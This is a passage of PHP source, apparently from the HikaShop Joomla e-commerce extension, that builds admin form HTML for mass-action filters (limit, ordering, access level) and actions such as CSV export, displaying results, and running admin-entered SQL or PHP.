			$tables = array('category','parent_category');
		if($table->table == 'order')
			$tables = array('order','order_product','address','user');
		if($table->table == 'product')
			$tables = array('product','price','category','characteristic','product_related','product_option');
		if($table->table == 'user')
			$tables = array('user','address');
		$loadedData->massaction_filters['__num__'] = new stdClass();
		$loadedData->massaction_filters['__num__']->type = $table->table;
		$loadedData->massaction_filters['__num__']->data = array();
		$loadedData->massaction_filters['__num__']->data['type'] = '';
		$loadedData->massaction_filters['__num__']->data['operator'] = '';
		$loadedData->massaction_filters['__num__']->data['value'] = '';
		$loadedData->massaction_filters['__num__']->name = '';
		$loadedData->massaction_filters['__num__']->html = '';

		foreach($loadedData->massaction_filters as $key => &$value) {
			if(!isset($value->data['type']))
				$value->data['type'] = '';
			if(!isset($value->data['operator']))
				$value->data['operator'] = '=';
			if(!isset($value->data['value']))
				$value->data['value'] = '';
			if(!isset($value->data['address']))
				$value->data['address'] = '';

			if(!empty($tables)){
				if(!is_array($tables)) $tables = array($tables);
				foreach($tables as $relatedTable){
					$column = $relatedTable.'Column';
					$loadedData->massaction_filters['__num__']->name = $column;
					$filters[$column]=JText::_(''.strtoupper($relatedTable).'_COLUMN');
					if($relatedTable == 'product_option') $relatedTable = 'product_related';
					if($relatedTable == 'parent_category') $relatedTable = 'category';
					if(!HIKASHOP_J30){
						$fieldsTable = $db->getTableFields('#__hikashop_'.$relatedTable);
						$fields = reset($fieldsTable);
					} else {
						$fields = $db->getTableColumns('#__hikashop_'.$relatedTable);
					}
					ksort($fields);
					$typeField = array();
					if(!empty($fields)) {
						foreach($fields as $oneField => $fieldType){
							$typeField[] = JHTML::_('select.option',$oneField,$oneField);
						}
					}
					$user = '<select class="custom-select chzn-done not-processed" name="filter['.$table->table.']['.$key.'][userColumn][type]" onchange="countresults(\''.$table->table.'\','.$key.')" >';
						$user .='<optgroup label="HIKA_USER">';
							foreach($hkUsers as $key2 => $hkUser){
								$tmpVal = str_replace('hk_user.','',$value->data['type']);
								if($key2 == $tmpVal)
									$user .= '<option value="hk_user.'.$key2.'" selected="selected">'.$key2.'</option>';
								else
									$user .= '<option value="hk_user.'.$key2.'">'.$key2.'</option>';
							}
						$user .= '</optgroup>';
						$user .='<optgroup label="JOOMLA_USER">';
							foreach($jUsers as $key2 => $jUser){
								$tmpVal = str_replace('joomla_user.','',$value->data['type']);
								if($key2 == $tmpVal)
									$user .= '<option value="joomla_user.'.$key2.'" selected="selected">'.$key2.'</option>';
								else
									$user .= '<option value="joomla_user.'.$key2.'">'.$key2.'</option>';
							}
						$user .= '</optgroup>';
					$user .= '</select>';
					switch($table->table){
						case 'product':
							if($relatedTable == 'characteristic'){
								$db->setQuery('SELECT * FROM '.hikashop_table('characteristic').' WHERE characteristic_parent_id = 0');
								$characteristics = $db->loadObjectList();
								if(is_array($characteristics)){
									$custom = '<select class="custom-select chzn-done not-processed" name="filter['.$table->table.']['.$key.'][characteristicColumn][type]" onchange="countresults('.$table->table.','.$key.')" >';
									foreach($characteristics as $charact){
										$selected = '';
										if($charact->characteristic_value == $value->data['type']) $selected = 'selected="selected"';
										$custom .= '<option value="'.$charact->characteristic_value.'" '.$selected.'>'.$charact->characteristic_value.'</option>';
									}
									$custom .= '</select>';
								}
							}
							elseif(in_array($relatedTable, array('product_related','product_option'))){
								if(!HIKASHOP_J30){
									$fieldsTable = $db->getTableFields('#__hikashop_product');
									$fields = reset($fieldsTable);
								} else {
									$fields = $db->getTableColumns('#__hikashop_product');
								}
								ksort($fields);
								$typeField = array();
								if(!empty($fields)) {
									foreach($fields as $oneField => $fieldType){
										$typeField[] = JHTML::_('select.option',$oneField,$oneField);
									}
								}
								$custom = JHTML::_('select.genericlist', $typeField, "filter[".$table->table."][$key][".$column."][type]", 'class="custom-select chzn-done not-processed" onchange="countresults(\''.$table->table.'\','.$key.')" size="1"', 'value', 'text',$value->data['type']);
							}else{
								$custom = '';
							}
							break;
						case 'category':
							$custom = '';
							break;
						case 'order':
							if($relatedTable == 'address'){
								$datas = array('both' => 'DISPLAY_BOTH','bill' => 'HIKASHOP_BILLING_ADDRESS','ship' => 'HIKASHOP_SHIPPING_ADDRESS');
								$custom = '<select class="custom-select chzn-done not-processed" onchange="countresults(\''.$table->table.'\','.$key.')" name="filter['.$table->table.']['.$key.'][addressColumn][address]" >';
								foreach($datas as $k => $data){
									$selected = '';
									if($k == $value->data['address']) $selected = 'selected="selected"';
									$custom .= '<option value="'.$k.'" '.$selected.'>'.JText::sprintf(''.$data.'').'</option>';
								}
								$custom .= '</select>';
							}elseif($relatedTable == 'user'){
								$custom = $user;
							}else{
								$custom = '';
							}
							break;
						case 'user':
							if($relatedTable == 'user'){
								$custom = $user;
							}else{
								$custom = '';
							}
							break;
						case 'address':
							if($relatedTable == 'user'){
								$custom = $user;
							}else{
								$custom = '';
							}
							break;
					}
					if($value->name != $column || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$value->type = $relatedTable;
					$output = $custom;
					if(!in_array($relatedTable, array('characteristic','product_related','user'))){
						$output .= JHTML::_('select.genericlist', $typeField, "filter[".$table->table."][".$key."][".$column."][type]", 'class="custom-select chzn-done not-processed" onchange="countresults(\''.$table->table.'\',\''.$key.'\')" size="1"', 'value', 'text', $value->data['type']);
					}
					$operators->extra = 'onchange="countresults(\''.$table->table.'\',\''.$key.'\')"';
					$output .= $operators->display('filter['.$table->table.']['.$key.']['.$column.'][operator]',$value->data['operator'], "chzn-done not-processed");
					$output .= ' <input class="inputbox" type="text" name="filter['.$table->table.']['.$key.']['.$column.'][value]" size="50" value="'.htmlspecialchars($value->data['value'], ENT_COMPAT, 'UTF-8').'" onchange="countresults(\''.$table->table.'\',\''.$key.'\')" />';

					$filters_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}
			}
		}

				$loadedData->massaction_filters['__num__'] = new stdClass();
				$loadedData->massaction_filters['__num__']->name = 'limit';
				$loadedData->massaction_filters['__num__']->type = $table->table;
				$loadedData->massaction_filters['__num__']->data = array();
				$loadedData->massaction_filters['__num__']->data['start'] = '0';
				$loadedData->massaction_filters['__num__']->data['value'] = '500';
				$loadedData->massaction_filters['__num__']->html = '';

				foreach($loadedData->massaction_filters as $key => &$value) {
					if($value->name != 'limit' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$value->type = $table->table;
					if(!isset($value->data['start'])) $value->data['start'] = 0;
					if(!isset($value->data['value'])) $value->data['value'] = 500;
					$output = '<div id="'.$table->table.'filter'.$key.'limit">'.JText::_('HIKA_START').' : <input type="text" name="filter['.$table->table.']['.$key.'][limit][start]" value="'.$value->data['start'].'" /> '.JText::_('VALUE').' : <input type="text" name="filter['.$table->table.']['.$key.'][limit][value]" value="'.$value->data['value'].'"/>'.'</div>';
					$filters_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}

				$filters['ordering']=JText::_('ORDERING');
				$loadedData->massaction_filters['__num__'] = new stdClass();
				$loadedData->massaction_filters['__num__']->name = 'ordering';
				$loadedData->massaction_filters['__num__']->type = $table->table;
				$loadedData->massaction_filters['__num__']->data = array();
				$loadedData->massaction_filters['__num__']->data['value'] = '';
				$loadedData->massaction_filters['__num__']->html = '';

				foreach($loadedData->massaction_filters as $key => &$value) {
					if($value->name != 'ordering' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$value->type = $table->table;
					if(!isset($value->data['value'])) $value->data['value'] = $table->table.'_id';

					if(!HIKASHOP_J30) {
						$fieldsTable = $db->getTableFields('#__hikashop_'.$table->table);
						$fields = reset($fieldsTable);
					} else {
						$fields = $db->getTableColumns('#__hikashop_'.$table->table);
					}
					ksort($fields);
					if(!isset($value->data['value'])) $value->data['value'] = $table->table.'_id';
					$output = '<div id="'.$table->table.'filter'.$key.'ordering">'.JText::_('VALUE').' : ';
					$output .= '<select class="custom-select chzn-done not-processed" name="filter['.$table->table.']['.$key.'][ordering][value]">';
					foreach($fields as $field => $fieldType){
					$selected = '';
						if($value->data['value'] == $field)
							$selected = 'selected="selected"';
						$output .= '<option value="'.$field.'" '.$selected.'>'.$field.'</option>';
					}
					$output .= '</select></div>';
					$filters_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}

				$filters['direction']=JText::_('MASSACTION_ORDERING_DIRECTION');
				$loadedData->massaction_filters['__num__'] = new stdClass();
				$loadedData->massaction_filters['__num__']->name = 'direction';
				$loadedData->massaction_filters['__num__']->type = $table->table;
				$loadedData->massaction_filters['__num__']->data = array();
				$loadedData->massaction_filters['__num__']->data['value'] = '';
				$loadedData->massaction_filters['__num__']->html = '';

				foreach($loadedData->massaction_filters as $key => &$value) {
					if($value->name != 'direction' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$value->type = $table->table;
					if(!isset($value->data['value'])) $value->data['value'] = 'ASC';
					$output = '<div id="'.$table->table.'filter'.$key.'direction">'.JText::_('VALUE').' : <select class="custom-select chzn-done not-processed" name="filter['.$table->table.']['.$key.'][direction][value]">';
					$values = array('ASC','DESC');
					foreach($values as $oneValue){
						$selected = '';
						if($value->data['value'] == $oneValue)
							$selected = 'selected="selected"';
						$output .= '<option value="'.$oneValue.'" '.$selected.'>'.$oneValue.'</option>';
					}
					$output .= '</select>'.'</div>';
					$filters_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}

			if(hikashop_level(2)){
				if(in_array($table->table,array('product','category'))){
					$filters['accessLevel']=JText::_('ACCESS_LEVEL');
				}else{
					$filters['accessLevel']=JText::_('USER_WITH_ACL');
				}
				$loadedData->massaction_filters['__num__'] = new stdClass();
				$loadedData->massaction_filters['__num__']->name = 'accessLevel';
				$loadedData->massaction_filters['__num__']->type = $table->table;
				$loadedData->massaction_filters['__num__']->data = array();
				$loadedData->massaction_filters['__num__']->data['type'] = '';
				$loadedData->massaction_filters['__num__']->data['group'] = '';
				$loadedData->massaction_filters['__num__']->html = '';

				$db = JFactory::getDBO();
				$db->setQuery('SELECT a.*, a.title as text, a.id as value  FROM #__usergroups AS a ORDER BY a.lft ASC');
				$groups = $db->loadObjectList('id');
				foreach($groups as $id => $group){
					if(isset($groups[$group->parent_id])){
						$groups[$id]->level = intval(@$groups[$group->parent_id]->level) + 1;
						$groups[$id]->text = str_repeat('- - ',$groups[$id]->level).$groups[$id]->text;
					}
				}

				$inoperator = hikashop_get('type.operatorsin');
				foreach($loadedData->massaction_filters as $key => &$value) {
					if($value->name != 'accessLevel' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$value->type = $table->table;
					$inoperator->js = 'onchange="countresults(\''.$table->table.'\','.$key.')"';
					$output = $inoperator->display("filter[".$table->table."][$key][accessLevel][type]",$value->data['type'], 'chzn-done not-processed').' '.JHTML::_('select.genericlist',   $groups, "filter[".$table->table."][$key][accessLevel][group]", 'class="custom-select chzn-done not-processed" size="1" onchange="countresults(\''.$table->table.'\','.$key.')"', 'value', 'text',$value->data['group']);

					$filters_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}
			}
?>
<script type="text/javascript">
	function hikashop_verifycsvcolumns(k){
		var target = "productfilter"+k+"csvImport_verify";
		var url = "<?php echo hikashop_completeLink('massaction&task=displayassociate&tmpl=component',false,false,true); ?>";
		var data = "cid=<?php echo hikashop_getCID(); ?>&current_filter="+k+"&csv_path=" + encodeURIComponent(document.getElementById("productfilter"+k+"csvImport_path_value").value);
		if(data != ""){
			window.Oby.xRequest(url, {update: target, mode: "POST", data: data});
		}
	}
	function hikashop_switchmode(el,k) {
		var d = document, v = el.value, modes = ['upload','path'], e = null;
		for(var i = 0; i < modes.length; i++) {
			mode = modes[i];
			e = d.getElementById('productfilter'+k+'csvImport_'+mode);
			if(!e) continue;
			if(v == mode) {
				e.style.display = '';
			} else {
				e.style.display = 'none';
			}
			if(v != 'upload'){
				d.getElementById('productfilter'+k+'csvImport_path').style.display = '';
				d.getElementById('productfilter'+k+'csvImport_upload').style.display = 'none';
			}else{
				d.getElementById('productfilter'+k+'csvImport_path').style.display = 'none';
				d.getElementById('productfilter'+k+'csvImport_upload').style.display = '';
			}
		}
	}
</script>
<?php
	}

	function onMassactionTableActionsLoad(&$table,&$actions,&$actions_html,&$loadedData){
		$db = JFactory::getDBO();
		$dispTables = array();
		$updTables = array();
		$customCheckboxes = '';
		$database = JFactory::getDBO();
		$type = 'action';
		if(empty($loadedData->massaction_filters)){
			$loadedData->massaction_filters = array();
		}
		$massactionClass = hikashop_get('class.massaction');
		$nameboxType = hikashop_get('type.namebox');
		$actions['displayResults']=JText::_('DISPLAY_RESULTS');
		$actions['exportCsv']=JText::_('EXPORT_CSV');
		$actions['updateValues']=JText::_('UPDATE_VALUES');
		$actions['deleteElements']=JText::_('DELETE_ELEMENTS');
		$actions['sendEmail']=JText::_('MASS_SEND_EMAIL');
		switch($table->table){
			case 'product':
				$dispTables = array('product','price','category');
				$updTables = array('product','price');

				$actions['updateCategories']=JText::_('UPDATE_CATEGORIES');
				$actions['updateRelateds']=JText::_('UPDATE_RELATEDS');
				$actions['updateOptions']=JText::_('UPDATE_OPTIONS');
				$actions['updateCharacteristics']=JText::_('UPDATE_CHARACTERISTICS');
				$actions['setCanonical']=JText::_('HK_SET_CANONICAL');

				break;
			case 'category':
				$dispTables = array('category');
				$updTables = array('category');
				break;
			case 'order':
				$dispTables = array('order','order_product','address','user','joomla_users');
				$updTables = array('order','order_product');
				$actions['changeStatus']=JText::_('CHANGE_STATUS');
				$actions['addProduct']=JText::_('ADD_EXISTING_PRODUCT');
				$actions['changeGroup']=JText::_('CHANGE_USER_GROUP');
				break;
			case 'user':
				$dispTables = array('user','joomla_users','address');
				$updTables = array('user','joomla_users');
				$actions['changeGroup']=JText::_('CHANGE_USER_GROUP');
				break;
			case 'address':
				$dispTables = array('address','user','joomla_users');
				$updTables = array('address');
				break;
			case 'user':
				$dispTables = array('user','joomla_users','address');
				$updTables = array('user','joomla_users');
			default:
				return false;
			break;
		}



			$actions['mysqlQuery']=JText::_('RUN_MYSQL_QUERY');
			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array('type' => '','value' => '','operation' => '');
			$loadedData->massaction_actions['__num__']->name = 'mysqlQuery';
			$loadedData->massaction_actions['__num__']->html = '';
			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'mysqlQuery' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;
				$output = ' <textarea name="action['.$table->table.']['.$key.'][mysqlQuery][query]" rows="15" cols="100">'. htmlspecialchars(@$value->data['query'], ENT_COMPAT, 'UTF-8').'</textarea>';
				$actions_html[$value->name] =  $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
			}

			$actions['phpCode']=JText::_('RUN_PHP_CODE');
			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array('type' => '','value' => '','operation' => '');
			$loadedData->massaction_actions['__num__']->name = 'phpCode';
			$loadedData->massaction_actions['__num__']->html = '';
			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'phpCode' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;
				$output = ' <textarea name="action['.$table->table.']['.$key.'][phpCode][code]" rows="15" cols="100">'. htmlspecialchars(@$value->data['code'], ENT_COMPAT, 'UTF-8').'</textarea>';
				$actions_html[$value->name] =  $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
			}

		if(is_array($dispTables)){

			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array();
			$loadedData->massaction_actions['__num__']->name = 'displayResults';
			$loadedData->massaction_actions['__num__']->html = '';

			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'displayResults' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;

				$value->type = $dispTables[0];

				$margin = '';
				$output = '';
				$customCheckboxes='';
				foreach($dispTables as $relatedTable){
					if(!HIKASHOP_J30){
						if(preg_match('/joomla_/',$relatedTable)) $fieldsTable = $db->getTableFields('#__'.str_replace('joomla_','',$relatedTable));
						else $fieldsTable = $db->getTableFields('#__hikashop_'.$relatedTable);
						$fields = reset($fieldsTable);
					} else {
						if(preg_match('/joomla_/',$relatedTable)) $fields = $db->getTableColumns('#__'.str_replace('joomla_','',$relatedTable));
						else $fields = $db->getTableColumns('#__hikashop_'.$relatedTable);
					}
					if(!empty($fields)) {
						$output .= '<div id="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_div" class="hika_massaction_checkbox"> <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a> <br/>';

						foreach($fields as $key2 => $field){
							if($key2 == 'address_state'){
								$fields['zone_state_name'] = $field;
								$fields['zone_state_name_english'] = $field;
								$fields['zone_state_code_2'] = $field;
								$fields['zone_state_code_3'] = $field;
							}elseif($key2 == 'address_country'){
								$fields['zone_country_name'] = $field;
								$fields['zone_country_name_english'] = $field;
								$fields['zone_country_code_2'] = $field;
								$fields['zone_country_code_3'] = $field;
							}
						}
						ksort($fields);
						foreach($fields as $key2 => $field){
							$checked='';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][displayResults]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
							'<label for="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
						}
						if($relatedTable == 'order'){
							$key2 = 'order_tax_amount';
							$checked='';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][displayResults]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
							'<label for="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
							$key2 = 'order_tax_namekey';
							$checked='';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][displayResults]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
							'<label for="action_'.$table->table.'_'.$key.'_displayResults_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
						}
						$output .= '</div>';
						$margin = 'margin-left: 20px;';
					}
				}

				switch($table->table){
					case 'product':
						$db->setQuery('SELECT * FROM '.hikashop_table('characteristic').' WHERE characteristic_parent_id = 0');
						$characteristics = $db->loadObjectList();
						if(is_array($characteristics)){
							$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_displayResults_characteristicColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_characteristicColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_characteristicColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/>';
							foreach($characteristics as $characteristic){
								$checked='';
								if(isset($value->data['characteristic'][$characteristic->characteristic_value])){
									$checked='checked="checked"';
								}
								$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_characteristicColumn_'.$characteristic->characteristic_value.'" name="action['.$table->table.']['.$key.'][displayResults][characteristic]['.$characteristic->characteristic_value.']" value="'.$characteristic->characteristic_value.'" />'.
								'<label for="action_'.$table->table.'_'.$key.'_displayResults_characteristicColumn_'.$characteristic->characteristic_value.'">'.$characteristic->characteristic_value.'</label>';
							}
							$customCheckboxes .= '</div>';
						}
						$db->setQuery('SELECT * FROM '.hikashop_table('product_related'));
						$relateds = $db->loadObjectList();
						if(is_array($relateds)){
							$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_displayResults_relatedColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_relatedColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_displayResults_relatedColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/>';
							$displayed = array();
							foreach($relateds as $related){
								$checked='';
								if(isset($value->data['related'][$related->product_related_type])){
									$checked='checked="checked"';
								}
								if(!in_array($related->product_related_type, $displayed))
									$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_relatedColumn_'.$related->product_related_type.'" name="action['.$table->table.']['.$key.'][displayResults][related]['.$related->product_related_type.']" value="'.$related->product_related_type.'" />'.
										'<label for="action_'.$table->table.'_'.$key.'_displayResults_relatedColumn_'.$related->product_related_type.'">'.
											$related->product_related_type.
										'</label>';
								$displayed[] = $related->product_related_type;
							}
							$customCheckboxes .= '</div>';
						}

						break;
					case 'user':
						$checked='';
						if(isset($value->data['usergroups'])){
							$checked='checked="checked"';
						}
						$customCheckboxes .= '<div class="hika_massaction_checkbox">';
						$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_displayResults_usergroupsColumn_title" name="action['.$table->table.']['.$key.'][displayResults][usergroups][title]" value="usergroups" />'.
							'<label for="action_'.$table->table.'_'.$key.'_displayResults_usergroupsColumn_title">'.JText::_('GROUP_NAME').
						'</label>';
						$customCheckboxes .= '</div>';
						break;
				}

				$output .= $customCheckboxes;
				$output .= '<div style="clear:both;"></div>';

				$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);

			}


			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array('path'=>'');
			$loadedData->massaction_actions['__num__']->name = 'exportCsv';
			$loadedData->massaction_actions['__num__']->html = '';
			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'exportCsv' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;
				if(!isset($value->data['formatExport']['path'])) $value->data['formatExport']['path'] = '';
				if(!isset($value->data['formatExport']['email'])) $value->data['formatExport']['email'] = '';
				$output='';
				$margin = '';
				$customCheckboxes='';
				foreach($dispTables as $relatedTable){
					if(!HIKASHOP_J30){
						if(preg_match('/joomla_/',$relatedTable)) $fieldsTable = $db->getTableFields('#__'.str_replace('joomla_','',$relatedTable));
						else $fieldsTable = $db->getTableFields('#__hikashop_'.$relatedTable);
						$fields = reset($fieldsTable);
					} else {
						if(preg_match('/joomla_/',$relatedTable)) $fields = $db->getTableColumns('#__'.str_replace('joomla_','',$relatedTable));
						else $fields = $db->getTableColumns('#__hikashop_'.$relatedTable);
					}
					if(!empty($fields)) {
						$output .= '<div id="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_div" class="hika_massaction_checkbox"> <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a> <br/>';

						foreach($fields as $key2 => $field){
							if($key2 == 'address_state'){
								$fields['zone_state_name'] = $field;
								$fields['zone_state_name_english'] = $field;
								$fields['zone_state_code_2'] = $field;
								$fields['zone_state_code_3'] = $field;
							}elseif($key2 == 'address_country'){
								$fields['zone_country_name'] = $field;
								$fields['zone_country_name_english'] = $field;
								$fields['zone_country_code_2'] = $field;
								$fields['zone_country_code_3'] = $field;
							}
						}
						ksort($fields);
						foreach($fields as $key2 => $field){
							$checked='';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][exportCsv]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
								'<label for="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
						}

						if($relatedTable == 'order'){
							$key2 = 'order_full_tax';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
								$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][exportCsv]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
									'<label for="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
							}

							$key2 = 'order_tax_amount';
							$checked='';
							if(isset($value->data[$relatedTable]) && isset($value->data[$relatedTable][$key2])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'" name="action['.$table->table.']['.$key.'][exportCsv]['.$relatedTable.']['.$key2.']" value="'.$key2.'" />'.
								'<label for="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_'.$key2.'">'.$key2.'</label>';
						}
						if($relatedTable == 'price'){
							$checked='';
							if(isset($value->data[$relatedTable]) && !empty($value->data[$relatedTable]['price_value_with_tax'])){
								$checked='checked="checked"';
							}
							$output .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_price_value_with_tax" name="action['.$table->table.']['.$key.'][exportCsv]['.$relatedTable.'][price_value_with_tax]" value="price_value_with_tax" />'.
								'<label for="action_'.$table->table.'_'.$key.'_exportCsv_'.$relatedTable.'Column_price_value_with_tax">price_value_with_tax</label>';
						}
						$output .= '</div>';
						$margin = 'margin-left: 20px;';
					}
				}

				switch($table->table){
					case 'product':
						$db->setQuery('SHOW COLUMNS FROM '.hikashop_table('file'));
						$imageColumns = $db->loadObjectList();
						$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_exportCsv_filesColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_filesColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_filesColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/><b>'.JText::_('FILES').'</b><br/>';
						foreach($imageColumns as $imageColumn){
							$checked='';
							if(isset($value->data['files'][$imageColumn->Field])){
								$checked='checked="checked"';
							}
							$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_filesColumn_'.$imageColumn->Field.'" name="action['.$table->table.']['.$key.'][exportCsv][files]['.$imageColumn->Field.']" value="'.$imageColumn->Field.'" />'.
								'<label for="action_'.$table->table.'_'.$key.'_exportCsv_filesColumn_'.$imageColumn->Field.'">'.$imageColumn->Field.'</label>';
						}
						$customCheckboxes .= '</div>';

						$db->setQuery('SHOW COLUMNS FROM '.hikashop_table('file'));
						$imageColumns = $db->loadObjectList();
						$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_exportCsv_imagesColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_imagesColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_imagesColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/><b>'.JText::_('HIKA_IMAGES').'</b><br/>';
						foreach($imageColumns as $imageColumn){
							$checked='';
							if(isset($value->data['images'][$imageColumn->Field])){
								$checked='checked="checked"';
							}
							$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_imagesColumn_'.$imageColumn->Field.'" name="action['.$table->table.']['.$key.'][exportCsv][images]['.$imageColumn->Field.']" value="'.$imageColumn->Field.'" />'.
								'<label for="action_'.$table->table.'_'.$key.'_exportCsv_imagesColumn_'.$imageColumn->Field.'">'.$imageColumn->Field.'</label>';
						}
						$customCheckboxes .= '</div>';

						$db->setQuery('SELECT * FROM '.hikashop_table('characteristic').' WHERE characteristic_parent_id = 0');
						$characteristics = $db->loadObjectList();
						if(is_array($characteristics)){
